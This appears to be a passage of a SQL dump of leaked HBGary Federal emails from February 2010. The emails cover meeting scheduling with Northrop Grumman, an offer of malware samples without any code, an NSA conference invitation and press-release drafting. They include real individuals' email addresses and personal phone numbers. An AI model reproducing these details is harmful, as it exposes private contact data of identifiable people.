time/date.','All -- there was considerable email traffic about moving this meeting to\r\n3:00pm on Monday.  Before moving the meeting, I need confirmation that\r\nthis works for all.  Please let me know soonest.  \r\n\r\nThanks much\r\n\r\ncsr\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Robinson, Cassie \r\nSent: Wednesday, February 10, 2010 11:50 AM\r\nTo: Robinson, Cassie; Barnett, Jim H.; Jadik, John; Armitage, James L.;\r\nBarnett, Jim H.; \'Aaron Barr\'; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.\r\nSubject: RE: HBGary/NGES meeting \r\n\r\n\r\nmeeting will be rescheduled for Friday per the message below. \r\n\r\nstay warm and dry\r\n\r\n-----Original Message-----\r\nFrom: Robinson, Cassie\r\nSent: Tue 2/9/2010 2:03 PM\r\nTo: Barnett, Jim H.; Jadik, John; Armitage, James L.; Barnett, Jim H.;\r\n\'Aaron Barr\'; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.\r\nSubject: HBGary/NGES meeting \r\n \r\nGents,\r\n\r\nA plan has been developed in case weather develops that prompts the\r\ncancellation of the 4:00pm meeting tomorrow,  Feb 10.  If the meeting is\r\ncancelled due to weather, the meeting will move to:  Friday, February 12\r\nat 3:00pm at NGES.  The Outlook Meeting notification will be sent to\r\nrevise the time/date.  \r\n\r\n \r\n\r\nAt this time, the meeting is a go for tomorrow.    \r\n\r\n \r\n\r\nThanks all.  \r\n\r\n \r\n\r\ncsr\r\n\r\n \r\n\r\n \r\n\r\nCassie Robinson | Northrop Grumman Corporation\r\n\r\nIntelligence Integrated Customer Team\r\n\r\n tel 703-741-7781 | 1000 Wilson Blvd  | Suite 2300  | Arlington, VA\r\n22209\r\n\r\n \r\n\r\nA kind word never broke anyone\'s mouth.\r\n-- Irish Proverb   \r\n\r\n \r\n\r\n\r\n',14283,'aaron_hbgary_com/14283.html'),(2556,'2010-02-12','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001193.M319159P3547Q2556.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: interested in any of these samples?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI need to pick which one&#8217;s I still want. Waiting for our\r\ncontracts guy to address Penny&#8217;s concerns in the PIEA.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 12, 2010 8:41 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Fwd: interested in any of these samples?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBrian,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis was I believe a response to a request for\r\nmalware/payload. &nbsp;I think I sent it to you a while back but just checking.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nGreg\r\nHoglund &lt;greg@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nJanuary\r\n22, 2010 1:49:17 PM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nAaron\r\nBarr &lt;aaron@hbgary.com&gt;, Ted Vera\r\n&lt;ted@hbgary.com&gt;, Phil Wallisch &lt;phil@hbgary.com&gt;, rich@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\ninterested in any of these samples?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nattached is a list of samples we are using in th QA\r\nlab.&nbsp; These all dropped in the last 72 hours.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nInterested in any?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',408,'aaron_hbgary_com/408.html'),(2557,'2010-02-12','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>','/aaron@hbgary.com/new/1297001193.M519237P3547Q2557.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>,\"Jadik, John\" <john.jadik@ngc.com>,\"Armitage, James L.\" <james.armitage@ngc.com>,aaron@hbgary.com,\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>,\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>,\"Jadik, John\" <john.jadik@ngc.com>,\"Armitage, James L.\" <james.armitage@ngc.com>','Re: HBGary/NGES meeting  -- Another possible change in time/date.','\r\n\r\n\r\n\r\n\r\nRe: HBGary/NGES meeting  -- Another possible change in time/date.\r\n\r\n\r\n\r\n\r\nI am good for Monday at 1500...mufti???\r\nJim\r\n\r\n----- Original Message -----\r\nFrom: Robinson, Cassie\r\nTo: Robinson, Cassie; Barnett, Jim H.; Jadik, John; Armitage, James L.; Barnett, Jim H.; \'Aaron Barr\' &lt;aaron@hbgary.com&gt;; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.; Thompson, Bill (Xetron)\r\nSent: Fri Feb 12 07:43:03 2010\r\nSubject: RE: HBGary/NGES meeting&nbsp; -- Another possible change in time/date.\r\n\r\nAll -- there was considerable email traffic about moving this meeting to 3:00pm on Monday.&nbsp; Before moving the meeting, I need confirmation that this works for all.&nbsp; Please let me know soonest.&nbsp;\r\n\r\nThanks much\r\n\r\ncsr\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Robinson, Cassie\r\nSent: Wednesday, February 10, 2010 11:50 AM\r\nTo: Robinson, Cassie; Barnett, Jim H.; Jadik, John; Armitage, James L.; Barnett, Jim H.; \'Aaron Barr\'; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.\r\nSubject: RE: HBGary/NGES meeting\r\n\r\n\r\nmeeting will be rescheduled for Friday per the message below.\r\n\r\nstay warm and dry\r\n\r\n-----Original Message-----\r\nFrom: Robinson, Cassie\r\nSent: Tue 2/9/2010 2:03 PM\r\nTo: Barnett, Jim H.; Jadik, John; Armitage, James L.; Barnett, Jim H.; \'Aaron Barr\'; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.\r\nSubject: HBGary/NGES meeting\r\n\r\nGents,\r\n\r\nA plan has been developed in case weather develops that prompts the cancellation of the 4:00pm meeting tomorrow,&nbsp; Feb 10.&nbsp; If the meeting is cancelled due to weather, the meeting will move to:&nbsp; Friday, February 12 at 3:00pm at NGES.&nbsp; The Outlook Meeting notification will be sent to revise the time/date.&nbsp;\r\n\r\n\r\n\r\nAt this time, the meeting is a go for tomorrow.&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\nThanks all.&nbsp;\r\n\r\n\r\n\r\ncsr\r\n\r\n\r\n\r\n\r\n\r\nCassie Robinson | Northrop Grumman Corporation\r\n\r\nIntelligence Integrated Customer Team\r\n\r\n&nbsp;tel 703-741-7781 | 1000 Wilson Blvd&nbsp; | Suite 2300&nbsp; | Arlington, VA 22209\r\n\r\n\r\n\r\nA kind word never broke anyone\'s mouth.\r\n-- Irish Proverb&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5825,'aaron_hbgary_com/5825.html'),(2558,'2010-02-12','\"Jadik, John\" <john.jadik@ngc.com>','/aaron@hbgary.com/new/1297001193.M726207P3547Q2558.eml','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>,\"Armitage, James L.\" <james.armitage@ngc.com>,aaron@hbgary.com,\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>,\"Armitage, James L.\" <james.armitage@ngc.com>','Re: HBGary/NGES meeting  -- Another possible change in time/date.','\r\n\r\n\r\n\r\n\r\nRe: HBGary/NGES meeting  -- Another possible change in time/date.\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nThis will be an issue for me.\r\n\r\nWhat happened to today?\r\n\r\nR/\r\nJohn\r\n\r\n----- Original Message -----\r\nFrom: Barnett, Jim H.\r\nTo: Robinson, Cassie; Jadik, John; Armitage, James L.; \'aaron@hbgary.com\' &lt;aaron@hbgary.com&gt;; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.; Thompson, Bill (Xetron)\r\nSent: Fri Feb 12 07:48:49 2010\r\nSubject: Re: HBGary/NGES meeting&nbsp; -- Another possible change in time/date.\r\n\r\nI am good for Monday at 1500...mufti???\r\nJim\r\n\r\n----- Original Message -----\r\nFrom: Robinson, Cassie\r\nTo: Robinson, Cassie; Barnett, Jim H.; Jadik, John; Armitage, James L.; Barnett, Jim H.; \'Aaron Barr\' &lt;aaron@hbgary.com&gt;; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.; Thompson, Bill (Xetron)\r\nSent: Fri Feb 12 07:43:03 2010\r\nSubject: RE: HBGary/NGES meeting&nbsp; -- Another possible change in time/date.\r\n\r\nAll -- there was considerable email traffic about moving this meeting to 3:00pm on Monday.&nbsp; Before moving the meeting, I need confirmation that this works for all.&nbsp; Please let me know soonest.&nbsp;\r\n\r\nThanks much\r\n\r\ncsr\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Robinson, Cassie\r\nSent: Wednesday, February 10, 2010 11:50 AM\r\nTo: Robinson, Cassie; Barnett, Jim H.; Jadik, John; Armitage, James L.; Barnett, Jim H.; \'Aaron Barr\'; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.\r\nSubject: RE: HBGary/NGES meeting\r\n\r\n\r\nmeeting will be rescheduled for Friday per the message below.\r\n\r\nstay warm and dry\r\n\r\n-----Original Message-----\r\nFrom: Robinson, Cassie\r\nSent: Tue 2/9/2010 2:03 PM\r\nTo: Barnett, Jim H.; Jadik, John; Armitage, James L.; Barnett, Jim H.; \'Aaron Barr\'; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.\r\nSubject: HBGary/NGES meeting\r\n\r\nGents,\r\n\r\nA plan has been developed in case weather develops that prompts the cancellation of the 4:00pm meeting tomorrow,&nbsp; Feb 10.&nbsp; If the meeting is cancelled due to weather, the meeting will move to:&nbsp; Friday, February 12 at 3:00pm at NGES.&nbsp; The Outlook Meeting notification will be sent to revise the time/date.&nbsp;\r\n\r\n\r\n\r\nAt this time, the meeting is a go for tomorrow.&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\nThanks all.&nbsp;\r\n\r\n\r\n\r\ncsr\r\n\r\n\r\n\r\n\r\n\r\nCassie Robinson | Northrop Grumman Corporation\r\n\r\nIntelligence Integrated Customer Team\r\n\r\n&nbsp;tel 703-741-7781 | 1000 Wilson Blvd&nbsp; | Suite 2300&nbsp; | Arlington, VA 22209\r\n\r\n\r\n\r\nA kind word never broke anyone\'s mouth.\r\n-- Irish Proverb&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15471,'aaron_hbgary_com/15471.html'),(2559,'2010-02-12','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297001193.M988087P3547Q2559.eml','\"Jadik, John\" <john.jadik@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Armitage, James L.\" <james.armitage@ngc.com>,aaron@hbgary.com,\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>,\"Jadik, John\" <john.jadik@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Armitage, James L.\" <james.armitage@ngc.com>,aaron@hbgary.com','RE: HBGary/NGES meeting  -- Another possible change in time/date.','Ok - Tom Conroy has indicated that we will stay with today.  \r\n\r\nThanks much\r\n\r\ncsr\r\n\r\n-----Original Message-----\r\nFrom: Jadik, John \r\nSent: Friday, February 12, 2010 10:00 AM\r\nTo: Barnett, Jim H.; Robinson, Cassie; Armitage, James L.; \'aaron@hbgary.com\'; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.; Thompson, Bill (Xetron)\r\nSubject: Re: HBGary/NGES meeting -- Another possible change in time/date.\r\n\r\nAll,\r\n\r\nThis will be an issue for me.\r\n\r\nWhat happened to today?\r\n\r\nR/\r\nJohn\r\n\r\n----- Original Message -----\r\nFrom: Barnett, Jim H.\r\nTo: Robinson, Cassie; Jadik, John; Armitage, James L.; \'aaron@hbgary.com\' ; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.; Thompson, Bill (Xetron)\r\nSent: Fri Feb 12 07:48:49 2010\r\nSubject: Re: HBGary/NGES meeting  -- Another possible change in time/date.\r\n\r\nI am good for Monday at 1500...mufti???\r\nJim\r\n\r\n----- Original Message -----\r\nFrom: Robinson, Cassie\r\nTo: Robinson, Cassie; Barnett, Jim H.; Jadik, John; Armitage, James L.; Barnett, Jim H.; \'Aaron Barr\' ; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.; Thompson, Bill (Xetron)\r\nSent: Fri Feb 12 07:43:03 2010\r\nSubject: RE: HBGary/NGES meeting  -- Another possible change in time/date. \r\n\r\nAll -- there was considerable email traffic about moving this meeting to 3:00pm on Monday.  Before moving the meeting, I need confirmation that this works for all.  Please let me know soonest.  \r\n\r\nThanks much\r\n\r\ncsr\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Robinson, Cassie \r\nSent: Wednesday, February 10, 2010 11:50 AM\r\nTo: Robinson, Cassie; Barnett, Jim H.; Jadik, John; Armitage, James L.; Barnett, Jim H.; \'Aaron Barr\'; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.\r\nSubject: RE: HBGary/NGES meeting \r\n\r\n\r\nmeeting will be rescheduled for Friday per the message below. \r\n\r\nstay warm and dry\r\n\r\n-----Original Message-----\r\nFrom: Robinson, Cassie\r\nSent: Tue 2/9/2010 2:03 PM\r\nTo: Barnett, Jim H.; Jadik, John; Armitage, James L.; Barnett, Jim H.; \'Aaron Barr\'; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.\r\nSubject: HBGary/NGES meeting \r\n \r\nGents,\r\n\r\nA plan has been developed in case weather develops that prompts the cancellation of the 4:00pm meeting tomorrow,  Feb 10.  If the meeting is cancelled due to weather, the meeting will move to:  Friday, February 12 at 3:00pm at NGES.  The Outlook Meeting notification will be sent to revise the time/date.  \r\n\r\n \r\n\r\nAt this time, the meeting is a go for tomorrow.    \r\n\r\n \r\n\r\nThanks all.  \r\n\r\n \r\n\r\ncsr\r\n\r\n \r\n\r\n \r\n\r\nCassie Robinson | Northrop Grumman Corporation\r\n\r\nIntelligence Integrated Customer Team\r\n\r\n tel 703-741-7781 | 1000 Wilson Blvd  | Suite 2300  | Arlington, VA 22209\r\n\r\n \r\n\r\nA kind word never broke anyone\'s mouth.\r\n-- Irish Proverb   \r\n\r\n \r\n\r\n\r\n',7405,'aaron_hbgary_com/7405.html'),(2560,'2010-02-12','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297001194.M205188P3547Q2560.eml','\"Jadik, John\" <john.jadik@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>,\"Armitage, James L.\" <james.armitage@ngc.com>,aaron@hbgary.com,\"Jadik, John\" <john.jadik@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','RE: HBGary/NGES meeting  -- Another possible change in time/date.','I can do either today or Monday as can Aaron.  Bill Thompson had wanted to attend but couldn\'t make it today.  Monday was an option if we wanted to accommodate his schedule.  If you\'re not available Monday let\'s stick with today.  \r\nTom\r\n\r\n-----Original Message-----\r\nFrom: Jadik, John \r\nSent: Friday, February 12, 2010 10:00 AM\r\nTo: Barnett, Jim H.; Robinson, Cassie; Armitage, James L.; \'aaron@hbgary.com\'; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.; Thompson, Bill (Xetron)\r\nSubject: Re: HBGary/NGES meeting -- Another possible change in time/date.\r\n\r\nAll,\r\n\r\nThis will be an issue for me.\r\n\r\nWhat happened to today?\r\n\r\nR/\r\nJohn\r\n\r\n----- Original Message -----\r\nFrom: Barnett, Jim H.\r\nTo: Robinson, Cassie; Jadik, John; Armitage, James L.; \'aaron@hbgary.com\' ; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.; Thompson, Bill (Xetron)\r\nSent: Fri Feb 12 07:48:49 2010\r\nSubject: Re: HBGary/NGES meeting  -- Another possible change in time/date.\r\n\r\nI am good for Monday at 1500...mufti???\r\nJim\r\n\r\n----- Original Message -----\r\nFrom: Robinson, Cassie\r\nTo: Robinson, Cassie; Barnett, Jim H.; Jadik, John; Armitage, James L.; Barnett, Jim H.; \'Aaron Barr\' ; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.; Thompson, Bill (Xetron)\r\nSent: Fri Feb 12 07:43:03 2010\r\nSubject: RE: HBGary/NGES meeting  -- Another possible change in time/date. \r\n\r\nAll -- there was considerable email traffic about moving this meeting to 3:00pm on Monday.  Before moving the meeting, I need confirmation that this works for all.  Please let me know soonest.  \r\n\r\nThanks much\r\n\r\ncsr\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Robinson, Cassie \r\nSent: Wednesday, February 10, 2010 11:50 AM\r\nTo: Robinson, Cassie; Barnett, Jim H.; Jadik, John; Armitage, James L.; Barnett, Jim H.; \'Aaron Barr\'; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.\r\nSubject: RE: HBGary/NGES meeting \r\n\r\n\r\nmeeting will be rescheduled for Friday per the message below. \r\n\r\nstay warm and dry\r\n\r\n-----Original Message-----\r\nFrom: Robinson, Cassie\r\nSent: Tue 2/9/2010 2:03 PM\r\nTo: Barnett, Jim H.; Jadik, John; Armitage, James L.; Barnett, Jim H.; \'Aaron Barr\'; Conroy, Thomas W.\r\nCc: Pinkney, Carole E.; Brandenburg, Charlotte A.\r\nSubject: HBGary/NGES meeting \r\n \r\nGents,\r\n\r\nA plan has been developed in case weather develops that prompts the cancellation of the 4:00pm meeting tomorrow,  Feb 10.  If the meeting is cancelled due to weather, the meeting will move to:  Friday, February 12 at 3:00pm at NGES.  The Outlook Meeting notification will be sent to revise the time/date.  \r\n\r\n \r\n\r\nAt this time, the meeting is a go for tomorrow.    \r\n\r\n \r\n\r\nThanks all.  \r\n\r\n \r\n\r\ncsr\r\n\r\n \r\n\r\n \r\n\r\nCassie Robinson | Northrop Grumman Corporation\r\n\r\nIntelligence Integrated Customer Team\r\n\r\n tel 703-741-7781 | 1000 Wilson Blvd  | Suite 2300  | Arlington, VA 22209\r\n\r\n \r\n\r\nA kind word never broke anyone\'s mouth.\r\n-- Irish Proverb   \r\n\r\n \r\n\r\n\r\n',7045,'aaron_hbgary_com/7045.html'),(2561,'2010-02-12','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297001194.M410213P3547Q2561.eml','\"Barr Aaron\" <aaron@hbgary.com>','Latest iPhone stylus trend: Sausages | Crave - CNET','http://news.cnet.com/8301-17938_105-10451943-1.html?part=rss&subj=news&tag=2547-1_3-0-20\r\n\r\n\r\n\r\n',1618,'aaron_hbgary_com/1618.html'),(2562,'2010-02-12','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001194.M609280P3547Q2562.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Are u going to be at Fidelis?','I am leaving Dulles at 12:30 so I won\'t be attending, we should talk\r\nto them though.\r\n\r\nOn Thu, Feb 11, 2010 at 7:21 PM, Aaron Barr  wrote:\r\n> Wasn\'t sure.  I am having lunch with Nolan right after at a very good Indian restaurant near there.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',15110,'aaron_hbgary_com/15110.html'),(2563,'2010-02-12','\"Aubrey MERCHANT DEST\" <Aubrey.MERCHANTDEST@qosmos.com>','/aaron@hbgary.com/new/1297001194.M851964P3547Q2563.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Qosmos','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI would like to request a meeting at 1:00PM next\r\nWednesday.&nbsp; I will have one of my software Engineers with me as\r\nwell.&nbsp; Can you fit this into your schedule?&nbsp; \r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nAubrey Merchant-Dest\r\n\r\nConsulting Engineer\r\n\r\nO: 301-528-8301\r\n\r\nF:&nbsp; 301-528-8302\r\n\r\nC:&nbsp; 301-351-4905\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 10:42 PM\r\nTo: Aubrey MERCHANT DEST\r\nSubject: Re: Qosmos\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Aubrey,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThats strange.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe met at the AFCEA conference at the end of the year.\r\n&nbsp;I am actually in Mclean most of the time if I am not in meetings, can we\r\nmeet closer to there? &nbsp;My week has been turned upside down so I have lots\r\nof openings.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 5, 2010, at 10:49 AM, Aubrey MERCHANT DEST wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nInterestingly\r\nI just got a call on my cell phone from a gentleman from PWC.&nbsp; Strange,\r\nhuh?&nbsp; I gave him your contact information.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam very interested in having a discussion with you about Qosmos NI\r\ntechnology.&nbsp; Can we meet late next week?&nbsp; Thursday or Friday morning\r\nin Bethesda?&nbsp; Let me know.&nbsp; At least I&#8217;d like to get you take\r\non what we do and how it may be relevant in your mission(s).&nbsp; Thanks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAubrey\r\nMerchant-Dest\r\n\r\n\r\n\r\n\r\n\r\nConsulting\r\nEngineer\r\n\r\n\r\n\r\n\r\n\r\nO:\r\n301-528-8301\r\n\r\n\r\n\r\n\r\n\r\nF:&nbsp;\r\n301-528-8302\r\n\r\n\r\n\r\n\r\n\r\nC:&nbsp;\r\n301-351-4905\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;image003.png&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14148,'aaron_hbgary_com/14148.html'),(2564,'2010-02-12','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001195.M285501P3547Q2565.eml','\"Aaron Barr\" <aaron@hbgary.com>','Speak at NSA REBL confernce?','Aaron,\r\n \r\nThe NSA Blue Team is an HBGary customer, and they are looking to do even more with us at the enterprise level.  They hold an annual REBL (Red Blue Team) conference in Maryland where they invite hundreds of gov&#39;t security professionals.  This is the top of food chain from a tech point of view.  This tier is above HBSS from a response point of view.\r\n\r\n \r\nLsst year they invited us to speak, but Greg didn&#39;t have the bandwidth to do it.  They&#39;ve invited us again for this year (May or June?).  Would you like to speak?  If yes, please write up one or more topics (a few sentences each) that I can send to them.  Talks can be either unclass or secret level.  They don&#39;t want sales pitches.  Products can be mentioned, but they want the talks to be technology oriented.\r\n\r\n \r\nWould a talk on attribution be a good one?  Please suggest others if you like.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n',13764,'aaron_hbgary_com/13764.html'),(2565,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001195.M476206P3547Q2566.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome 	BAA','Chris my wife is stuck in a snow bank and I have to go get her and the\r\nkids.  Is it alright to postpone until Monday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 12, 2010, at 2:07 AM, \"Starr, Christopher H.\"  wrote:\r\n\r\n> \r\n',11,'aaron_hbgary_com/11.html'),(2566,'2010-02-12','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297001195.M664644P3547Q2567.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Press Release','Hi Aaron, I\'ve been working on the release, but don\'t have enough specifics to fill it out -- can you tell me a bit more&nbsp;how the two companies will work together and the goal of the partnership? Feel free to call me to discuss 650-814-3764. Thanks, Karen&nbsp;--- On Thu, 2/11/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Press ReleaseTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Greg Hoglund\" &lt;greg@hbgary.com&gt;, \"Penny Leavy\" &lt;penny@hbgary.com&gt;, \"Ted Vera\" &lt;ted@hbgary.com&gt;Date: Thursday, February 11, 2010, 6:37 AM\r\nKaren,It will take a while to get this through the NG hoops, but having something generated will help.Can you generate a press release on the following:HBGary Federal partners with Northrop Grumman to develop the next generation in threat intelligence capabilities.I will work on a quote.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n',9600,'aaron_hbgary_com/9600.html'),(2567,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001195.M860502P3547Q2568.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Are u going to be at Fidelis?','We need to set up a technical and partnership discussion with fidelis\r\nas soon as we can.  They are our network solution.  We will kill the\r\nmarket together IMO.  They also have and IR product called scout which\r\nwe should look at integrating into our IR process.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 12, 2010, at 11:05 AM, Penny Leavy  wrote:\r\n\r\n> I am leaving Dulles at 12:30 so I won\'t be attending, we should talk\r\n> to them though.\r\n>\r\n> On Thu, Feb 11, 2010 at 7:21 PM, Aaron Barr  wrote:\r\n>> Wasn\'t sure.  I am having lunch with Nolan right after at a very\r\n>> good Indian restaurant near there.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n',7024,'aaron_hbgary_com/7024.html'),(2568,'2010-02-12','\"Jonathan George\" <jonathan.k.george@gmail.com>','/aaron@hbgary.com/new/1297001195.M90993P3547Q2564.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Skillz','9am it is.See you then.Sent from my iPhoneOn Feb 12, 2010, at 8:20 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Sounds good. &nbsp;I am free until 11am, so 9am good?AaronOn Feb 12, 